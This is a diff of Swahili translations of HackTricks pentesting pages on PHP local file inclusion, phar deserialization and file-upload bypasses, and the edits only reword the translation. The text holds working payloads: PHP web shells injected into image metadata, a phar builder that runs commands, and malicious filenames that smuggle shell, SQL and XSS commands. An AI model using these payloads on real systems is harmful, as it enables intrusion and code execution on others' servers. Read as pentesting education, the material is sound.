@ -83,12 +83,12 @@ Kisha, mshambuliaji angeweza kutumia hizo **michango 100** kufanya **tafuta brut
- 56800235584 / 10000 / 300 / 3600 \~= **masaa 5.25** (50% nafasi katika masaa 2.63)
- (ikiwa na faili 100000) 56800235584 / 100000 / 300 / 3600 \~= **masaa 0.525** (50% nafasi katika masaa 0.263)
Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa EC2 wa ukubwa wa kati:
Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa ukubwa wa kati wa EC2:
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Kumbuka kwamba ili kuanzisha muda wa kukatiza itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele.
> Kumbuka kwamba ili kuanzisha muda wa kukatisha itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele.
## Nginx

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Mipangilio yenye udhaifu
## Mipangilio yenye hatari
[**Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

View File

@ -6,7 +6,7 @@
Hii [**andika**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **filters za php kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php usio na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
Kimsingi lengo la script ni **kuunda Base64** string mwanzoni mwa faili ambayo itakuwa **hatimaye inatambuliwa** ikitoa payload inayotakiwa ambayo itakuwa **inafasiriwa na `include`**.
Kimsingi lengo la script ni **kuunda Base64** string mwanzoni mwa faili ambayo itakuwa **hatimaye inatambuliwa** ikitoa payload inayotakiwa ambayo itakuwa **inatafsiriwa na `include`**.
Misingi ya kufanya hivi ni:
@ -16,13 +16,13 @@ Misingi ya kufanya hivi ni:
Mzunguko wa kuunda maudhui yasiyo na mipaka ni:
1. weka `\x1b$)C` kabla ya string yetu kama ilivyoelezwa hapo juu
2. tumia mchaini ya mabadiliko ya iconv ambayo inacha base64 yetu ya awali kuwa intact na inabadilisha sehemu tuliyoongeza kwa string ambapo wahusika halali wa base64 ni sehemu inayofuata ya msimbo wetu wa php ulio na base64
2. tumia mnyororo wa mabadiliko ya iconv ambayo inacha base64 yetu ya awali kuwa intact na kubadilisha sehemu tuliyoongeza kwa string ambapo wahusika halali wa base64 ni sehemu inayofuata ya msimbo wetu wa php ulio na base64
3. base64-decode na base64-encode string ambayo itatoa takataka yoyote katikati
4. Rudi kwenye 1 ikiwa base64 tunayotaka kuunda haijakamilika bado
5. base64-decode ili kupata msimbo wetu wa php
> [!WARNING]
> **Inajumuisha** kawaida hufanya mambo kama **kuongeza ".php" mwishoni** mwa faili, ambayo inaweza kuwa ngumu katika matumizi ya hii kwa sababu unahitaji kupata faili .php yenye maudhui ambayo hayaua exploit... au unaweza **tu kutumia `php://temp` kama rasilimali** kwa sababu inaweza **kuwa na chochote kilichoongezwa kwenye jina** (kama "+.php") na bado itaruhusu exploit ifanye kazi!
> **Inajumuisha** kawaida hufanya mambo kama **kuongeza ".php" mwishoni** mwa faili, ambayo inaweza kuwa ngumu katika unyakuzi huu kwa sababu unahitaji kupata faili .php yenye maudhui ambayo hayaua unyakuzi... au unaweza **tu kutumia `php://temp` kama rasilimali** kwa sababu inaweza **kuwa na chochote kilichoongezwa kwenye jina** (kama "+.php") na bado itaruhusu unyakuzi ufanye kazi!
## Jinsi ya kuongeza pia viambatisho kwa data inayotokana

View File

@ -22,13 +22,13 @@ Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukis
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
Katika **linux** jina la faili lilikuwa **random** na lilikuwa katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kutoa kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
Katika **linux** jina la faili hutumika kuwa **random** na iko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
**phpinfo()**
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irudishwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
**PHP** hutumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI.
**Python script ya kujaribu kubruteforce jina (ikiwa urefu = 6)**
**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)**
```python
import itertools
import requests

View File

@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
Unapaswa kujua kwamba ikiwa unatumia **POST** ombi **linalo** **jumuisha** **faili**, PHP itaunda **faili ya muda katika `/tmp/php<something>`** yenye maudhui ya faili hiyo. Faili hii itakuwa **imefutwa kiotomatiki** mara tu ombi litakaposhughulikiwa.
Unapaswa kujua kwamba ikiwa unafanya **POST** ombi **linalo** **jumuisha** **faili**, PHP itaunda **faili ya muda katika `/tmp/php<something>`** yenye maudhui ya faili hiyo. Faili hii itafutwa **kiotomatiki** mara tu ombi litakaposhughulikiwa.
Ikiwa unapata **LFI** na unafanikiwa **kuanzisha** kosa la segmentation katika PHP, **faili ya muda haitafutwa kamwe**. Hivyo, unaweza **kutafuta** faili hiyo kwa kutumia **LFI** udhaifu hadi upate na utekeleze msimbo usio na mipaka.
Ikiwa unapata **LFI** na unafanikiwa **kuanzisha** kosa la segmentation katika PHP, **faili ya muda haitafutwa kamwe**. Hivyo, unaweza **kutafuta** faili hiyo kwa kutumia udhaifu wa **LFI** hadi uipate na utekeleze msimbo usio na mipaka.
Unaweza kutumia picha ya docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) kwa ajili ya majaribio.
```python

View File

@ -4,12 +4,12 @@
## **Upakiaji wa Faili za PHP**
Wakati injini ya **PHP** inapokea **ombio la POST** lililo na faili zilizopangwa kulingana na RFC 1867, inaunda faili za muda kuhifadhi data iliyopakiwa. Faili hizi ni muhimu kwa usimamizi wa upakiaji wa faili katika skripti za PHP. Kazi ya `move_uploaded_file` lazima itumike kuhamasisha faili hizi za muda kwenye eneo lililotakiwa ikiwa uhifadhi wa kudumu zaidi ya utekelezaji wa skripti unahitajika. Baada ya utekelezaji, PHP kwa otomatiki inafuta faili zozote za muda zilizobaki.
Wakati injini ya **PHP** inapokea **POST request** inayojumuisha faili zilizopangwa kulingana na RFC 1867, inaunda faili za muda kuhifadhi data iliyopakiwa. Faili hizi ni muhimu kwa usimamizi wa upakiaji wa faili katika skripti za PHP. Kazi ya `move_uploaded_file` lazima itumike kuhamasisha faili hizi za muda kwenye eneo lililotakiwa ikiwa uhifadhi wa kudumu zaidi ya utekelezaji wa skripti unahitajika. Baada ya utekelezaji, PHP kwa otomatiki inafuta faili zozote za muda zilizobaki.
> [!NOTE]
> **Tahadhari ya Usalama: Washambuliaji, wakijua eneo la faili za muda, wanaweza kutumia udhaifu wa Local File Inclusion ili kutekeleza msimbo kwa kufikia faili wakati wa upakiaji.**
Changamoto ya ufikiaji usioidhinishwa inapatikana katika kutabiri jina la faili la muda, ambalo limekusudiwa kubadilishwa.
Changamoto ya kupata ufikiaji usioidhinishwa inapatikana katika kutabiri jina la faili la muda, ambalo limekusudiwa kubadilishwa.
#### Utekelezaji kwenye Mifumo ya Windows
@ -17,7 +17,7 @@ Katika Windows, PHP inaunda majina ya faili za muda kwa kutumia kazi ya `GetTemp
- Njia ya kawaida ni kawaida `C:\Windows\Temp`.
- Kichwa ni kawaida "php".
- `<uuuu>` inawakilisha thamani ya kipekee ya hexadecimal. Kwa umuhimu, kutokana na kikomo cha kazi, ni sehemu ya chini ya bits 16 pekee zinazotumika, kuruhusu majina 65,535 ya kipekee kwa njia na kichwa kisichobadilika, na kufanya nguvu za kikatili kuwa rahisi.
- `<uuuu>` inawakilisha thamani ya kipekee ya hexadecimal. Kwa umuhimu, kutokana na kikomo cha kazi, ni sehemu ya chini ya bits 16 pekee zinazotumika, na kuruhusu majina 65,535 ya kipekee kwa njia na kichwa kisichobadilika, na kufanya nguvu ya kikatili iwezekane.
Zaidi ya hayo, mchakato wa utekelezaji unarahisishwa kwenye mifumo ya Windows. Upekee katika kazi ya `FindFirstFile` inaruhusu matumizi ya wildcards katika njia za Local File Inclusion (LFI). Hii inaruhusu kuunda njia ya kujumuisha kama ifuatavyo ili kutafuta faili ya muda:
```

View File

@ -4,11 +4,11 @@
**Phar** files (PHP Archive) files **zina metadata katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code.
**Phar** files (PHP Archive) files **zina meta data katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code.
Jambo bora kuhusu sifa hii ni kwamba hii deserialization itatokea hata kwa kutumia kazi za PHP ambazo hazifanyi eval PHP code kama **file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize()**.
Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mpangilio kwa kutumia **`phar://`** protokali, na ndani ya code unapata **class** inayofanana na ifuatayo:
Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mipaka kwa kutumia **`phar://`** protokali, na ndani ya code unapata **class** inayofanana na ifuatayo:
```php:vunl.php
<?php
class AnyClass {
@ -24,7 +24,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
Unaweza kuunda faili la **phar** ambalo linapoload litafanya **kudhulumu darasa hili ili kutekeleza amri zisizo na mpangilio** kwa kitu kama:
Unaweza kuunda faili ya **phar** ambayo inapoload itatumia darasa hili kutekeleza amri zisizo na mpangilio** kwa kitu kama:
```php:create_phar.php
<?php
@ -50,8 +50,8 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Kumbuka jinsi **magic bytes za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili ya phar ili **kuepuka** **uwezekano** wa **kupakia** **vikwazo**.\
**Tengeneza** faili ya `test.phar` kwa:
Kumbuka jinsi **bajeti za kichawi za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili la phar ili **kuepuka** **uwezekano** wa **mipaka** ya **upakiaji** wa faili.\
**Tengeneza** faili la `test.phar` kwa:
```bash
php --define phar.readonly=0 create_phar.php
```

View File

@ -29,7 +29,7 @@ Katika [**CTF ya asili**](https://blog.orange.tw/2018/10/) ambapo mbinu hii imej
Kwa sababu ya mipangilio ya default ya `session.upload_progress.prefix`, faili yetu ya **SESSION itaanza na kiambishi kisichofurahisha** `upload_progress_` Kama: `upload_progress_controlledcontentbyattacker`
Hila ya **kuondoa kiambishi cha mwanzo** ilikuwa **base64encode payload mara 3** na kisha kuifungua kupitia vichujio `convert.base64-decode`, hii ni kwa sababu wakati wa **base64 decoding PHP itafuta wahusika wa ajabu**, hivyo baada ya mara 3 **tu** **payload** **iliyotumwa** na mshambuliaji itabaki **(na kisha mshambuliaji anaweza kudhibiti sehemu ya mwanzo)**.
Hila ya **kuondoa kiambishi cha mwanzo** ilikuwa ni **base64encode payload mara 3** na kisha kuifungua kupitia vichujio `convert.base64-decode`, hii ni kwa sababu wakati wa **base64 decoding PHP itafuta wahusika wa ajabu**, hivyo baada ya mara 3 **tu** **payload** **iliyotumwa** na mshambuliaji itabaki **(na kisha mshambuliaji anaweza kudhibiti sehemu ya mwanzo)**.
Taarifa zaidi katika andiko la asili [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) na exploit ya mwisho [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Andiko lingine katika [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)

View File

@ -44,9 +44,9 @@ Mifumo mingine ya ziada inayofaa:
5. Ongeza **tabaka lingine la mifumo** kwa ukaguzi wa awali:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Jaribu kuweka **exec extension kabla ya mfumo halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye mfumo** _**.php**_**, lakini** si lazima kumalizika na .php\*\* kitatekeleza msimbo):
6. Jaribu kuweka **exec extension kabla ya mfumo halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye mfumo **.php** lakini si lazima kumalizika kwa .php** kitaendesha msimbo):
- _ex: file.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya mfumo uliozuiliwa na kabla ya mmoja unaoruhusiwa. Kama matokeo, **faili tupu yenye mfumo uliozuiliwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia kunaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya mfumo uliozuiliwa na kabla ya mmoja unaoruhusiwa. Kama matokeo, **faili tupu yenye mfumo uliozuiliwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Mfumo halali unakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
```
@ -63,43 +63,43 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
- Pita **Content-Type** ukaguzi kwa kuweka **thamani** ya **Content-Type** **header** kuwa: _image/png_ , _text/plain , application/octet-stream_
1. Orodha ya **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
1. Orodha ya maneno ya Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Pita **magic number** ukaguzi kwa kuongeza mwanzoni mwa faili **bytes za picha halisi** (changanya amri ya _file_). Au ingiza shell ndani ya **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuingiza payload moja kwa moja** katika picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ikiwa **kucompress** kunaongezwa kwenye picha yako, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress.
- Ikiwa **kuhifadhiwa kunatumika kwa picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress.
- Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Mbinu nyingine ya kutengeneza payload ambayo **inadumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress.
- Mbinu nyingine ya kutengeneza payload ambayo **inadumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa.
- [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha mfumo).
- Tafuta udhaifu wa **Local File Inclusion** kutekeleza backdoor.
- Tafuta udhaifu wa **Local File Inclusion** ili kutekeleza backdoor.
- **Ufunuo wa Taarifa unaowezekana**:
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili **ile ile** yenye **jina lile lile**
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** kwa kutumia **majina yaliyohifadhiwa** (**yaliyozuiliwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
- Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itakamilisha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyozuiliwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
- Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na shaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
### Special extension tricks
Ikiwa unajaribu kupakia faili kwenye **PHP server**, [angalia mbinu ya **.htaccess** kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye **ASP server**, [angalia mbinu ya **.config** kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ikiwa unajaribu kupakia faili kwenye **PHP server**, [angalia mbinu ya **.htaccess** ya kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye **ASP server**, [angalia mbinu ya **.config** ya kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya script...)
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya skripti...)
Mifumo ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **mfumo huu kutekelezwa**.
## **Jetty RCE**
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -107,7 +107,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji wa '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi `.ini` inashughulikiwa.
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
```ini
@ -134,7 +134,7 @@ Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. K
## **wget File Upload/SSRF Trick**
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -157,7 +157,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
Kumbuka kwamba **chaguo lingine** ambalo unaweza kuwa unafikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
## Zana
@ -166,22 +166,22 @@ Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kuwa na uwezo wa kufikia **SQL injection**
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** faili **upakiaji** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
